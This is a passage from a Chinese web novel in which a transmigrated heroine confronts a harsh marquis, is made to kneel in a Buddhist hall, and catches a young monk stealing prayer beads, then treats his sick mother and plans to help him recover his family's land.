平南侯的爹味正盛,还在训人:“你既占了我侯府的名号,就本本分分老实做人,我不求你才华横溢,只愿你别给我出去丢人,你弟弟小你四岁,如今能文能武,你再如此这般游手好闲下去,你祖父回来了都救不了你。”
“此番我不能带你走,你回苏州田庄给我夹起尾巴好好做人,但凡我再得知你品行不端,小心我扒了你的皮!”
“扒什么皮,你扒谁的皮!?”江日暮在忍就要憋出病了,她并未接受过男尊女卑的洗脑,是以她踢门进去的时候才知道事情有多严重。
只听张贵小声惊呼:“我的活菩萨。”
再一看,人已经没有踪影了。
傻了吧!江大小姐!
她察觉不妥时,周臣毅,周序,文妹都在用一种宛如见到外星人跳舞一样震惊的目光注视她。
可以这么说,侯门训子这样的场合,就算是周序的亲母在场,都不敢多言半句,却被江日暮这个十七岁的闺阁小姐大声质问出来。
要不是江日暮有点背景,那平南候已经入了杀意的眼没准下一秒就动手了。
还好此刻董绸及时出现,江日暮赶紧跑到他身后掩起半个身子,才不至于平南侯生吞了她。
张叔真不愧是董府管家,这眼力见儿,真金白银买不来。
董绸见气氛严肃,立马赔笑:“是我这外甥女不知礼数了,我回去就罚她!”
周臣毅:“哼!”
生意人能屈能伸的本事不是盖的,董绸游刃有余的圆场:“侯爷莫怪这孩子无礼,这些时日,序公子与我家暮姐儿相处的不错,他俩在田里做活认识了这女娃娃,免不了要护着,年轻人气性大,一冲动便失了规矩。”
说罢立马拉着江日暮道:“还不快跟侯爷道歉,完了出去,周侯爷的家事咱们轮不上插嘴。”
周臣毅扔掉手里的棍子,平平了气色道:“女娃娃?这里哪里来什么女娃娃,据我所知,这孩子早在教坊司勾了名号,说准确点,可是个官妓,他们一个侯府嫡子,一个高门贵女,为了个官妓从苏州追到广陵,抛头露面逞威风。我倒是好奇了,这个女娃娃有什么好?”
他打量周序,眼中不屑:“江姑娘与执言有婚约,你说他为这一女娃娃舍身舍命的,以后二人如何相处,要我说不如了结了,干净利落。”
江日暮忍住自己的白眼暗骂道:心眼儿脏,看什么都脏,怎么男女之间就不能惺惺相侠,非得挂上点情情爱爱的东西才有话说吗,脏货,臭不要脸的。
江日暮想着也不能硬刚,毕竟他侯府祖宗累积下来的家业比自己父亲厚实的多。
董绸和和气气的摆假笑:“序公子住在董府,我那妹夫肯定早就与周候爷通过气了,这三个孩子董家长辈
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都知道,早就相识的,暮姐儿心思纯良,婚约一事也是父母之命,还没定亲,都是口头约定也算不得什么定数,姐儿定是把他们当做弟弟妹妹看待,三个十岁来去的孩子,也不至于如侯爷所说的这般复杂。”
他看着周序又道:“文妹被抓,序公子心急,正是彰显了公子仁义善良,侯府大将爱民之心啊!”
周臣毅不在同,抬杠道:“大丈夫,比起十八般武艺,能翻筋斗云,这些善良纯真根本倒不值一提。”
他走出两步,看向江日暮:“江小姐毕竟是个大门不出二门不迈的闺阁女子,人心险恶,你又怎知这个女娃娃接触周序的心是单纯的,或许她早知自己命运,所以早早攀附周序,妄想想改命,这样的女子我见的多了,要我说像这样勾引主子的女子,我现在一刀杀了,扔到海里喂鱼,也是在替天行道!”
纯**傻*
江日暮咬着唇偷骂。
她正骂着,脑袋里蹦出“官妓”二字,她开窍一般想到,自己完全可以把系统当搜索引擎用啊。
“小桶,小桶,能不能帮我查一下......”
她想寻求小桶的帮助,小桶还未来得及回答,周臣毅抽了腰间的长剑,就要劈向文妹。
文妹吓的忘记躲,周序瞪大眼睛,看着自己的父亲劈下来,还是没有动弹。
就在长剑即将要见血时,董绸挺身而出将文妹拖到自己脚边,文妹刚刚跪着的地方,被剑劈出一块大洞。
平南侯的意欲再劈:“贱女早该一剑杀了,也让周序知道人心险恶,妇人之仁只会惹出大祸,日后不堪大用而已。”
江日暮眼见着来不及,忙蹲下抱住文妹,她等待利剑劈上来,却半天没动静,忽然有血在滴上她的脑门。
“舅舅!”
没想到董绸在自己身后徒手握住了剑锋,舅舅见了血,周臣毅的气焰也冷静了下来,张贵连忙吩咐下人拿船上的应急物资给董绸包扎。
周臣毅一副事不关己的淡定模样:“董二爷这是何必,弄的我再训反而不自在了。”
董绸依旧陪笑:“候爷该训还是训,何必要见刀子,我外甥女与这小子是约了姻亲的,两家既是亲家,不如咱们缓些,有事慢慢说,我妹夫与我那大外甥子最是宝贝这丫头了,自是不能伤了半点,今日我说句不怕侯爷与我董家翻脸的话,这一剑要是劈在暮姐身上,怕是也不好和京州的交代。”
说到江家父子,周臣毅脸色才沉了沉,虽说他袭爵侯门,出身簪婴,可大庸的兵权在他父亲手里攥着,自己在兵部说起来风光,二品尚书,也不过管管军队一应事务,手中并无半点实权。
抛开他的出身,论实力,腰板不一定硬的过江如海和他鬼精的儿子,江家若真要与他结了仇,怕也是麻烦事儿。
想了想,拱拱手,虽没开口,那意思也是打过招呼了。
收起剑,他冷眼居高,看着周序冷道:“就你这胆量,别说不如你弟弟,你就连着江家小姐都半分不如,这贱婢我暂因江家面子留了这一命,此后若我再知道你为女人如此折腾,??老子便连你与那贱婢一道杀了。”
此前在京州,江如海曾笑面盈盈给他提了一嘴,江夫人帮忙照看周序一事,他客套应承了,如今也没有反悔的道理,又追了一句:“你既有江夫人照顾,我便也不管你了,待上岸,自己好自为之吧!”
便将周序赶出了顶楼花厅。
23.佛堂罚跪 巧遇和尚
船行近码头,江日暮老远就看见自己的母亲与一众董府女眷站在码张望,江夫人由李嬷嬷参扶着紧紧盯着她们,不时掩泪,怕是这几日不知道偷哭了多少回。
直到靠岸,董绸带着江日暮与平南侯道谢辞别,才上了岸。
江夫人朝周臣毅俯身行礼,表示感谢,周臣毅点点头,让下人来传话,说着急赶去徽州,又绕了路便不下船与江夫人叙旧了。
江夫人又是一番道谢,送上些新鲜的瓜果吃食,以作报答,周家画舫缆绳未扔,纤夫拉船继续顺水走了。
江日暮与周序躲在董绸身后,见江夫人黑着脸泪眼未干,心中惶恐,江日暮更是认错积极,抱着江夫人的小腿哭着说害怕,周序配合默契的跪在一旁,以头磕地,久不起身。
董绸细说了她们被抓又逃跑的事,听的江夫人脸一阵白一阵青的,纵有怒气,但见两个孩子平安回来怎么还舍得责骂。
又得知他们为何事而去,在广陵又经历了什么,眼下责备的话也说不出来了,可不罚又怕助长他们肆意妄为的心性,只强装严肃态度朝江日暮与周序道:
“此行你们虽是为救人,可未免太过大胆天真,这一次我若不罚你们,怕是还会有下次,你们两个半大孩子怎么敢深入毒窝不考虑后果的,要是这次舅舅没来得及救你们,你们教我这个白发人还要送你们黑发人不成。”
“救人虽无悔,可不计后果的行为,只配称作莽夫,白白去送命给人,与那挡车的螳螂有何区别?”
“若真想救人,你怕你们母亲是这般不知黑白,会阻拦不成,大舅舅是知府,二舅舅管着漕运,哪条路不能借力筹谋,以后再行此事,要么不做,要做就做周全,不要救一个人,要将那些受害的女子都救出来!”
“你们两个都是聪明的孩子,经此一遭,也该好好反思,逞一时匹夫之勇能办成什么好事,只会拖累旁人,且罚你们跪去佛堂反省一月,吃斋抄经,好好修了性子,再出来做个人。”
说罢登上马车气冲冲离去,留下二人大热天跪着,还是张贵叔来叫他们起身,给了俩马车。
董府后院佛堂,三开间,中间供奉着南海观音像二侧摆放经书文案及各种长明灯。
董老夫人常年礼佛,佛堂里的檀香经久不散,很是好闻。
江日暮是与中药打交道的,相比名牌香水,熏香精油之类的调香,她更偏爱物体本身的香味,比如木头香、草香、药香,这些味道不刺鼻,呼吸到身体里能融为一体,而非外界来的异香,全是人工味。
佛堂清冷,她母亲甚至都没给江日暮喘口气,直接喊一堆人给她俩拎进了佛堂。虽然冷酷无情了点,但毕竟是自己闯了祸,只是罚跪,不吃肉,她觉得已经是喜大普奔了。
蒲团之上,她伴着沁鼻的佛香,瞥一眼旁边的周序,他正挺着腰板,板正正的跪着,明明他这些天也没休息好,可他的腰似乎无论遇到什么逆境,都是这样一副直挺挺的模样。
“周序,你困不?”
“不困,你要是困,就趴着睡会吧,我帮你看着。”
江日暮没他那么倔,塌着腰东倒西歪的已经有点犯困了。
在在她快要闭眼时,佛堂的门被人推开,小满端了两碗素面来,先是送给她,眼里都是心疼,递给周序时,碗磕在地上,“咚”的脆响表达了主人公对眼前人的不满。
江日暮知道她的小心思,估计从临轩那里听来了什么对周序生了怨气,怕周序因着小满不满生出愧疚,不好意思吃面,忙喊道:“快来,快来,我问你事呢。”
随后装作无意:“周序快吃,苏州素面甜口的,可好吃了。”
周序默默端起碗,对她道:“谢谢。”
系统:【恭喜宿主,主角说出“谢谢”二字,您的任务已完成,当前数值为:任务积分230,主角好感度23,完成广陵拯救被拐女子任务线,请再接再厉哟。】
呼。
江日暮得知任务完成心里松了一口气,看来文妹和那些无辜的女子得救了。
“小满,文妹和那些被救的女子现在在哪里。”
小满倪了周序一眼,答自家小姐话:“文妹自知她父母不是个东西,不愿回家,夫人便差人去找她父母拨了五十两银子将她买了回来,现在安排进小厨房,跟着厨房师傅学手艺去了。”
“另十八个女子呢?”
“有几个被父母找了回去,还有找不到父母的被宴春楼的老板要了去端茶送水,说是放他那里能给这些女子容身之所,也不至于在被人欺辱。”
“我母亲同意了?”
“嗯,听夫人的话音像是挺高兴了,那顾老板应该是个靠谱的。”
江日暮接触过顾如鹰,看那样子虽然拿腔捏调的,但宴春楼口碑不错,她与顾如鹰接触感觉人确实还行,便也放了心。
此后半月便都是如此,周序一早去上学,下午来跪着直至晚上就寝,江日暮早起来跪着,下午去学堂,晚上继续跪,白天错峰,只有天黑了才会打照面,二人安安静静跪上两三个时辰,再各自回去休息。
江夫人派了嬷嬷时常来盯梢,嘱咐他们要静心自省,周序真是一丝不苟的将江夫人送来的经书全抄完了,他真的不是打坐就是抄书,也真够有耐心的。
要她说,活脱脱个劳模似的,害得江日暮被动卷起来。
除了抄经,还会抄一些人文百科的书籍,其中就有一些吐蕃国的书,周序认真的翻译出来,江日暮看了吐蕃文,竟与后世的藏文几乎没啥区别,那她还不是手拿把掐的领域。
周序发现她译的吐蕃文比自己的还要准确后,便索性拉了桌子凑在了江日暮的旁边,没事就请教一下,整的江日暮想偷懒都有点放不开。
江日暮算是误打误撞的,趁着恶补了许多大庸与敌国吐蕃的知识,遇到不懂的,周序也帮她解答,她撑不住抄睡着了,周序便仿着她的字迹帮她抄完。
知道了这个投机倒把的机会后,她便故意写一会睡一会,连着几天少抄了不少书。
然而穿书的节奏注定不会一直呈平稳的直线。
一日晚上,他们在抄经时,江日暮看到了前来添香,规置贡品的小和尚,这小和尚一进门看见他俩的时候,神情明显的不对劲,估计是没想到有人,凭借这段时间在任务里混出的经验,江日暮敏锐察觉到了异常。
大庸有个会观天文的将军,就是苏州寺庙的还俗和尚,而此刻这个莽撞进来,头上未点戒疤的苏州和尚让江日暮心中不由得一惊。
她依稀记得,这个将军死忠淮王,战功赫赫,为其抢军功夺兵权,与前世做了首辅的周序作对,暗地里让周序吃了不少亏,还差点丧命。
苏州这么小,寺庙就那么几个,说起没点戒疤能还俗的和尚更是少之又少。
不是吧,不是这么巧吧,这任务npc难道就这样明晃
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晃的来了?
和尚进来没料到有人,先是错愕,接着装镇定迈步近江日暮这边双手合十作揖行礼。
江日暮与周序搁下笔,同样合起双手还礼。
各自沉默不言。
然后和尚转身将这两日清减的香添上,更换新鲜的贡品,整理擦拭佛像,最后他绕着佛像转了一圈,摸摸索索一阵后,又来朝他们作了揖。
“小姐,公子,贫僧这边已经将师傅吩咐送来的万寿经安置在了佛案前,若无事,我就先离开了。”说罢打算离去。
可没走两步,他的袖子里突然掉出了三串佛珠,江日暮视线被佛珠吸引,接着上移,发现了他僧袍袖子上斑驳的血迹。
江日暮无奈扶额,没跑了,这个人一定是个人物。
和尚定在那里,像是在想措辞,江日暮打破僵局:“小师傅,你的佛珠掉了。”
出家人最是忌讳染上血腥,他不仅犯了血忌,还犯了偷忌。
掉在地上的佛珠,是董老夫人上次去灵山寺找了什么很厉害的大师开过光,专门用来打赏人的,一条就价值不菲。
此等行为肯定是偷了,江日暮有些琢磨不透他吃了熊心豹子胆的偷盗用意,此刻是该揭穿他,还是将他扣下来审问审问?
直接揭穿他,出家人有什么苦衷,这辈子都毁了,再结个仇是不划算;要是扣下来,他不说实话敷衍他们,万一是个品行差的惯犯怎么办?
思虑三秒,江日暮起身叫住他:“小师傅,要不咱们聊聊。”
江日暮不叫还好,一叫,和尚也顾不得掉下的佛珠,冲开门就跑,佛堂灯暗,和尚一脚绊在门槛上,半个身子跌了出去。
周序也是意识到他有问题,趁和尚起身一下扑了上去,江日暮一把扯过帘子上的绑绳,趁他挣扎之际,将他两个手臂锁在身后,绕着手腕紧紧紧扎起来。
耐不住和尚力气太大,他用尽全力双脚乱蹬,蹬上周序胸口,震的周序跌到一旁。
眼见他就要站起,江日暮将所有力量汇聚在右脚之上,踩上他快挺起来的腰,扑通一声,由于和尚手被绑住,没有借力,又趴栽了下来。
周序顺势按住他的双腿,用绑带将他的双腿绑住后,这才松开手。
和尚不停扑腾,扭来扭去活像个跳上岸的鲫鱼,发现自己挣扎无果之后,动静小了下来。
此刻,江日暮确定他就是史书里那个跟着淮王的小走狗没戳了。
想起他力大无穷的威名,若不是刚刚他一脚摔下来,江日暮逮住了机会,凭他在庙里练的那些功夫,就是再来两三个周序,都不一定是对手。
江日暮回想和尚这一身的梆硬的腱子肉,倒抽了一口气。
这孔武有力的和尚要真跟他们两个打起来了,估计也就两巴掌的事,一巴掌拍死周序,一巴掌拍死自己,两声响结束战斗。
好在这家伙似乎头脑简单,四肢发达,他们在行动上占据了先机。
见他不挣扎,江日暮道:“说说吧,出家人为什么要偷佛堂的东西?”
他靠着墙闭眼睛不理。
江日暮盘腿再他面前也不慌:“孟善!你若再不交代,我就挖了你眼睛!”
奏效,他终于睁开眼睛:“你怎么知道我的名字,你一个小姑娘,在佛堂里喊打喊杀,也不怕犯了忌讳!”
江日暮笑道:“佛祖要怪也是先找你吧,你僧服沾血,也敢进佛堂?”
24.七尺糙汉 为钱折腰
和尚扑闪着卡姿兰小眼睛慌张闪躲,手虽然扣在背后,但他身子还是缩了缩想藏的更深些,奈何不得动弹。
系统虽迟但到,补足了眼前人最基本的信息。
系统:【宿主您好,恭喜您开启新的重要人物孟善。】
江日暮抓住系统补课:“快给我说说他什么情况。”
系统:【此人精通天文历法,曾参与书中篡位叛乱,勇不可档,虽一生追求荣华富贵,但品性忠诚,助淮王谋逆失败,兵败京州被斩首,享年二八。】
系统这么一提醒,江日暮有些印象。
他效忠淮王,有次羌坞族叛乱,淮王举荐他带兵镇压,孟善率精兵征讨,大败羌坞军,俘获敌族首领,因功升至右卫将军,也正是那一次在战争,他与周序有了可抗衡之力。
系统:【孟善是周序上位的关键人物,与其羁绊匪浅,若您能拉拢孟善成为周序手下,使主角获得助益,则有机会获得更多积分,早日回归现实世界,指日可待。】
这望梅止渴的说辞,不得不承认诱惑到江日暮了,想着拿钱实现财富自由,环游世界的梦想,她一咬牙,干就完了。
江日暮带着分值即将上涨的喜悦,再看孟善时也多了一份亲切,在看一旁的周序,她没记错,孟善兵败被周序弄死的。
名字取得很善,却没个善终,沦落为权力斗争的牺牲品,结局笔周序这个大奸臣还惨。
见他依旧不说话,江日暮放下耐心好言相说:“你不说话不代表就能混过去,既偷了佛珠,定是因为缺钱而非个人偷窃爱好,要是缺钱,那这事儿好办,你只要老实交代偷窃的动机是什么?本小姐心情好,一道帮你解决了困难,不过一句话的事。”
江日暮顿言,包臂换了神色:“但若你是个黑心的,或去赌去嫖,借着出家人的身份为所欲为,谋财害命,那今日我也可替天行道,大喊一声,董知府的府上,你还怕没人收的了你?只怕判你个三年五载,都不能抵消你罪孽!你可考虑好了。”
听到要吃官司,孟善再不嚣张,焦急的眼神里还有害怕,他语气哀求:“姑娘,别喊,别喊,你可以打我骂我折磨我,千万不能报官啊,我阿娘病重在床,家中就我一个能照看,我进了大牢,她就活不成了!”
孟善红着脸,眼睛闪着亮光,这话听着不像临时编的有几分可信,江日暮松了松自己威胁的态度:“那你好好说,这衣袖上的血和三串佛珠是怎么回事?“”
历史上的孟善并不是个心思诡谲的人,为人坦荡,说一不二,比起扭捏敏感的周序,要容易套路的多。
孟善不过和她一般大的少年,真放开心扉交底时,真是一点隐藏也没了。
他情真意切想说动江日暮:
“我爹在我很小的时候就跟别的女人跑了,他走后留了一封休妻书,宗亲知道阿娘被休后,都来瓜分我家良田,连我们娘俩的容身之所也被大伯以祖父的名义占走了,原本我家的一进院变成茅草屋,屋后的三十亩良田变成了一出鸟不拉屎的小洼坑,现在住的房子吹不得分,经不起雨,梅雨那些天,墙角烂着就没在能修好。”
周序听此,打断他话开口问:“不对啊,你父亲的屋子田地,宗亲凭什么将你们赶出去,就算你父亲休了你娘,你也是孟家子孙,上了族谱的,房户田产该在你名下才是。”
孟善摇摇头:“哪能啊,我大伯说当年祖父没和我父亲分家,房屋的归属应当与他一人一半,他仗着人多联合村长收了我家房子,还给我一个小房子,夺走我家三十亩良田换给我三亩无人问津的烂地,说扯平了,让我知足,可笑吧。”
江日暮不解:“若你说的是真的,这就是明抢啊,你为什么不反抗。”
孟善眼神凄凉:“是啊,村里七十户,没有一户人家帮我们说话,来的都是劝我们退一步,他们都说,忍忍就过去了,你说怎么反抗呢,反抗到最后茅草房都没了,烂田也不给了?何况那时我才十岁,我怎么站出来,站出来挨打吗。”
一阵沉默,江日暮与周序不知怎么说,孟善笑笑继续:
“我自小吃的多,母亲为了养我,忍气吞声,严寒酷暑十来年啊,风雨无阻日日要走十二里路去打理那三亩稻田,除去纳税交粮,我们的余粮常常不够吃,忍着饿是常有的,就这样的穷日子,阿娘还坚持要我识字,她一日只吃一顿,就为了省出那么几袋米给先生。”
“后来我见不得她这样用命省吃俭用,一气之下奔上山出家做了和尚,什么声誉前途,有命值钱吗?!”
听别人哭惨的时候,江日暮总觉得不自然,笑不是,同情也不是,只能安静听着。
“前些年,阿娘就开始精神不济,时好时坏的,不知为何这几天突然病情加重,夜里呕血,东凑西借了点钱请郎中来看,他说再不用药,这样拖着,怕是大罗神仙来了也无力回天了。”
江日暮想说,那就用药啊,可深知这话出来与那些‘何不食肉糜’的狗屁专家没什么区别。
孟善尽数吐出,仿佛自己也松了一口气。
在这无人的深夜对着两个陌生人,借着逼问的由头说了好多这些年憋在心里的话,他有一种别样的感觉,他从没有这般希望过有人能听他的苦楚,就像有人分享了他的生活,哪怕只是听他说说话,他就感觉自己不是孤单的,难熬的。
孟善看着佛堂里闪烁的长明灯,悠悠:“佛门诸多忌讳,我从来不怕,我只怕救不了阿娘,护不了我们的家,要真有报应一说,都报在我这里吧,只要阿娘病好急够了。”
听了他话,江日暮大概也理顺了他的故事,问他:“这佛珠你偷了是想换钱看病的,血迹是你与那些逼人的宗亲殴斗所致,对吧。”
孟善点头,漠然的发呆,不似刚刚情绪激荡。
孟善是大雍国为数不多的传奇人物,观得了天文,谋得了战术,关中镇守,威名远扬,说到这样的人,第一印象都该是风流倜傥。
可是眼前的孟善,名字取的文气,却是糙汉一个,虽然快二十岁的人了,看起来像个中年大叔,眉峰粗黑,眼睛小小,大饼圆脸,胡子拉碴,加上他穿着一身破旧的僧服和脏脏的草鞋。
哪怕家庭条件不好,但不耽误刮个胡子洗个衣服吧,说好的厉害人物都带光环呢,眼瞧着妥妥糙汉模样,江日暮扶额。
她一个颜控,万幸系统给她的主角时周序。
江日暮又看看身旁的周序,心理得到不少安慰,同样都是人物,在长相这一块,就算周序恶名昭著,千古罪人一个,也落下了传于后世“大庸美周郎”的名号。
就冲这张脸,江日暮也要将孟善拉拢过来,以后面对仇敌陷害时,也好有臂膀助他反击,这么一看,孟善便是绝佳的人选之一,人品、样貌,出身都堪称完美配角,简直合适的不能再合适。
江日暮偷乐,孟善打断了她:“姑娘,佛珠我并未拿走,此前我也从未偷过任何东西,这次算我运气不好,被你抓到,既然把柄在你手里,我只能求你放过我这一回,日后你若需要我的地方,我一定尽心竭力,我阿娘还在家中,我在这里耽搁太久了,能不能放我回家。”
江日暮推了一把周序:“别愣神了,快帮他解开。”
周序不知道在想什么,被江日暮撞了一下胳膊才回神,他听了令,手上行动起来,三下五除二解开了孟善的绳子。
解的猝不及防的,孟善都没来及的做反应,就被江日暮一拍,三串佛珠送到了眼前。
“这些你先拿去当我送你的,现在你带我去你家,我略懂些医术,或许能帮到你母亲。”
问此,孟善惊喜的后撤一步跪下:“此恩,赴汤蹈火,在所不辞。”
江日暮:“别多说了,事不宜迟,咱们从后院的小门偷偷
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溜出去,尽量声音小点。”
她抓着周序衣服:“周执言,马棚偏僻,咱们去牵两条马在小门等他。”
“多谢!”
孟善无比真诚的双手重叠,额头扣手。
江日暮最寒碜古人这套规矩,拉着周序匆匆溜了。
晚上,佛堂这边向来没人,他们溜出去的时候也是轻轻松松无人察觉,她与周序共乘,孟善一匹,半炷香的时间到了孟村。
一扇木门上了锁,但形同虚设,因为只需用力一推,门轴都能脱落的样子。
孟善的家是江日暮见过最原始的土屋,土是真的土,泥土的土,混合稻草糊起来的泥墙,屋顶矮到周序抬手就能碰到茅草顶。
横梁的木头已经老化干枯,不知道多少年的了,裂缝接二连三,稍大力便能折断。
大约三四十平,里边隔了一间用来睡人,孟善掀开帘子引他们进去,入眼是一张木床,应该是自己打的木床,木头用料不错,与这个土屋格格不入。
木床上铺着稻草,稻草上盖了草席,江南夏季潮湿闷热,刚才推门江日暮就闻到一股奇怪的泥草霉味。
孟母躺在床上安睡,孟善点亮锈迹斑驳的煤灯,一点光亮闪烁才让这屋看着像个活人住的地方。
他母亲睡得紧,我们几人进门了都没察觉有动静,孟善山拍拍孟母的肩膀,轻声道:“阿娘,有人来看你了。”
他母亲身上盖着薄毯,悠悠转醒,人没坐起,先是一声剧烈的咳嗽,将江日暮赶紧蹲过去,招呼孟善拿灯上前。
周序接过煤灯:“我来吧。”
说罢便小心捧着支零破碎的锈灯,跟着江日暮的节奏动作,观察孟母的脸色。
江日暮看过眼,舌,问了一些状况,切过脉紧皱眉头道:“你母亲中暑了你可知道!这样闷热的屋子还不赶紧将窗户打开,有糖水吗,她虚汗躺的都脱水了。”
孟善忙推开摇摇欲坠的窗户,诚惶诚恐的等她吩咐。
江日暮看着这个破败的小屋,摇摇头:“你母亲是过劳导致的去虚血虚,她肺热内寒,上行不顺本就郁结于胸,前些时日又中了暑热,不是吓唬你,若不是我来了,你真有可能白白拖死你母亲一条命。”
孟善被她一说,更加惶恐,低着头听她冲人的语气也不敢有半分不敬,手抓着僧服有些颤抖。
江日暮安慰他:“你也别怕,她不是什么大毛病,若是早点喝些药调理,也不至于好好的身子拖累成这样。”
孟善羞愧无奈,:“村长的儿子上次被我狠揍了,他与我家结了仇,附近的大夫不敢来,有名的大夫请不起,若不是今日遇着姑娘,我怕是真的要害惨了母亲!”
七尺糙汉为五斗米折腰的样子对人冲击力挺大的,她只好收了气不再苛责。
床上的孟母瞧着儿子愧疚,不禁也落下泪来:“不是他的错,姑娘,你不要怨他,他已经做得很好了,村上人多势众,是我叫他一直隐忍退让的,怪就怪我这个老婆子。
江日暮见孟母伤心,上前去拍孟母的后背,温声宽慰道:“您放心,我马上就回去抓药让下人送过来,你照我配的方子喝上两日,暑气消了,就能下床了。还有多年积攒下来的内病,总归慢慢调理,能养回来的。”
孟母擦泪,握着她手再三道谢,江日暮跟孟母聊 了几句,顺了她心气才离开。
孟善坚持要送他们,江日暮与周序都拒绝了,董府有宵禁,她每天吵完书送到江夫人那里过了眼,才能睡,送晚了知道她不听话又偷溜出去,说不定就要少胳膊少腿了。
“我一回去就找人抓了药送来,如何煎服,我会写在药包里,连同药壶一起送来,你窗户开着,放杯水再你母亲??,她夜里口渴喝点水能舒服些。”
孟善看着她:“江姑娘!我不会说什么拍马屁的话,今日之恩,孟某定当回报!”
25.夏风习习 思绪不定
月黑风高,孟善有心送她们离开,但一来一回又是折腾,便与周序一同骑马回了,一开始与周序骑马,她是有点不习惯的。
就像自行车载人一样,坐车前面和坐车后面有很大的区别,坐后面称得上载客,坐前面却基本属于热恋期的小情侣才有的姿势。
上次广陵骑马,周序刻意与她保持了距离,她并没觉得有什么不对劲,可现在,周序与她贴的极近,并且神态自然,与他那副与人相疏的样子发生了巨大变化。
孟善真诚的样子还在她脑海里回想,以至于她身后的周序莫名咳嗽了好几声,她才听见。
江日暮打断了思绪,问他:“你怎么了,是不是又受了凉,晚夏的风已经有凉意了,你以后还是多套一件才是。”
周序低声:“我不冷。”
周序呼出的热气让江日暮有些不舒服,她偏头诚恳道:“还有十多天就解禁了,到时候我带你去吃点好的,这些天在佛堂吃忒清淡了些,没了营养,自然身子受不住风邪。”
周序:“好。”
他低低的回应,声音比往常都要温柔。
江日暮早就觉得有些不对劲了,这次佛堂罚跪周序好像哪里变了,江日暮具体的说不上来,硬要说个感觉就是,以往他可能还会有点自己的小脾气,但这十来天的相处,他温顺的像一只小奶狗。
安安静静的没有声响,但能帮江日暮的做的事,他全悄咪咪做完了。
甚至,他知道自己刚跪佛堂的那两天肚子疼,还搬来了小炭炉一直温着热茶供她想用。
他们怕被发现,抄的小路回家,路上空无一人,二人这般紧密的贴着,又开口说了话,突然再冷场,好像哪里有点尴尬。
于是江日暮主动提出了话题。
“周执言,我跟你说个事。”
“嗯,我听着。”
“我琢磨吧,孟善他娘现在的情况还不至于太严重,拉长时间养养,肯定能养回来,但是呢,病治好了是其次,他家那个茅草房子实在不是个好居所,你说呢。”
周序接话:“正常的村民,再不济住着土草房子,也是一明两暗,家中有人修补,透气,吃住分开在风水上都对身体有益些,孟善家的土房子也不知何年马月垒的,毒虫鼠蚁将土木早已啃食空了,加之没有南北风流通,更是憋了病气散不去,别说是个病人了,就算是个健康的人,在那潮气的屋子里没病都要染上病的。”
江日暮没想到他一口气把自己一直再想的心事全说了出来。
她道:“你说到我心里了,我的想法是,既然救了,那得救到底,做好事力求一个善始善终,你说呢。”
当然,江日暮有自己的小九九,孟善为人忠诚,文武双全不说,还敢做敢豁得出去,为了防止有其他人来献爱心,将孟善拉拢过去,她必须解决他最大的问题,让他无后顾之忧,以后也好踏踏实实跟着他,不和周序作对。
她摸出一套拯救奸臣的三步走攻略,那就是:1温暖,2鼓励,3排除阻碍。
孟善就属于第三个。
周序轻轻一声“嗯”,江日暮没听出他语气的一点点不悦。
对于周序来说,江日暮的好来的突然又霸道,他本是抗拒的,现在好不容易习惯了,看见她对别人尽心尽力,他心里有点不是滋味,可他不能说。
他母亲的用药没什么问题,就算把董府库房里的珍贵药材打包了,戚氏怕是还要问她够不够。
“周执言,要不等咱们禁足过了,去帮他家把房子修缮修缮怎么样。”
江日暮为自己蹦出来的想法感到激动,对啊,把屋子重新多起两间,不就能解决问题了!
她脱口说出来的时候,身子挺直,能感觉到周不自觉往后一靠,周序结实的胸膛真真切切的贴在她后背上,晚夏道衣衫还是薄的,男性荷尔蒙将她围住的灼热,让她有些心绪飘浮,那种感觉算不上清清白白。
周序不防被她一倚,没退,反而凑上她的耳朵,呼出的温热气让江日暮从心到脚趾头都有点发麻,她不知道为什么今天自己这么......这么的不可控,于是调整坐姿身子往前探了探,转过头征询他的意见。
周序没看她,眼神飘向远处,忽而道:“孟善的房屋若是要重新修葺,耗费的人力物力还不如直接买个小院子。”
对周序提出的方案,江日暮表示更优。
没想到周序接着说:“在我看来,房子就算买个如董府一般大的,也解决不了孟善的心病。”
“为什么,他母亲身体康健,住上好房子,还有什么不满意呢?”
周序道:“那茅草屋本就是他大伯欺他无势对他的侮辱,这种侮辱让他再村子里几乎抬不起头,在他为生存发愁时,那破房子他还能忽略,等他母亲好点了,他怎么可能甘心一辈子住在那里,你真想好人做到底么,救直接帮他抢回属于他的房子。”
江日暮从不知,周序的心这样细。
“怎么帮他呢?”江日暮将周序的话放在心上。
周序:“明日不妨问问孟善,他家被抢走的房子现在是谁在住?那些被宗亲抢走的田又分在了谁手里?知道了根源人物逐个击破,让那些人吃点苦头,好出了孟家母子的恶气。”
江日暮反复思索周序的话,她搓着下巴笑着周序:“周执言,看你平常闷声不响的,没想到憋着坏呢,我明日就让小满去找孟善了解了解情况,咱们这几日趁着在佛堂罚跪,商量几个对策来,怎么样。”
周序浅笑:“都听你的。”
是啊,要么不干,要么直接翻身!
江日暮被周序说的一下子燃了起来,她手一拍:“好!干!”
“小心!”
动作幅度一大,她腿不小心夹到马腹,马儿受惊一跳,江日暮重心失衡,没稳住身子栽下去,还好周序反应快,歪身一捞,托住她腰身,以及其亲密的半环抱姿势稳稳将她护住,才不至于她跌下马去。
江日暮连声道谢,暗夜看不清周序表情,只听他小声:“没事。”
直到江日暮溜回自己院子,周序的心还在敲锣打鼓,夏日衣衫真是太薄了,他能清楚的感受到她身姿曼妙,曲线温软如香玉。
他手臂颤抖,脑子挥不去手臂刚刚发麻的触感,鼻尖全是江日暮萦绕的栀子花香。
今日的月亮很亮,他曾经从没有什么雅兴看星星月亮,可今天他觉得月亮格外漂亮,大脑被奇怪的感觉占据,没有星点儿睡意,他直接翻上屋顶,就这样看了两个时辰的月亮。
江日暮
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倒没他那般有雅兴,回了屋后就开始整理药方,烛火烁烁,她托腮握笔,写下两张鬼画符的药方后,才满意的交给小满。
不看小满的黑人问号脸,她撇撇嘴又从她手里扯回药方,还是明天给周序腾出来抓药方便,软笔这种东西,她实在写不来,毕竟医生的丑字,病人的包容度向来很高。
她俩回去的时候,没人注意到自己屁股后面的小尾巴。
江夫人院子里的灯灭灯比平常晚一些。
“这些孩子当真是屡教不改,偷溜出府招呼不打一声。”随即又很是理解的松口:“不过这般年纪正是少年气盛之时,想做什么大多不考虑后果。”
李嬷嬷劝道:“夫人放宽些,小姐这般高兴折腾,也是好事,以前啊,你巴不得小姐多闹闹呢,现在闹了,你又嫌她不听话了。”
江夫人也知道,对年轻人来说,多说不仅没用,还会产生对自己的抵触情。
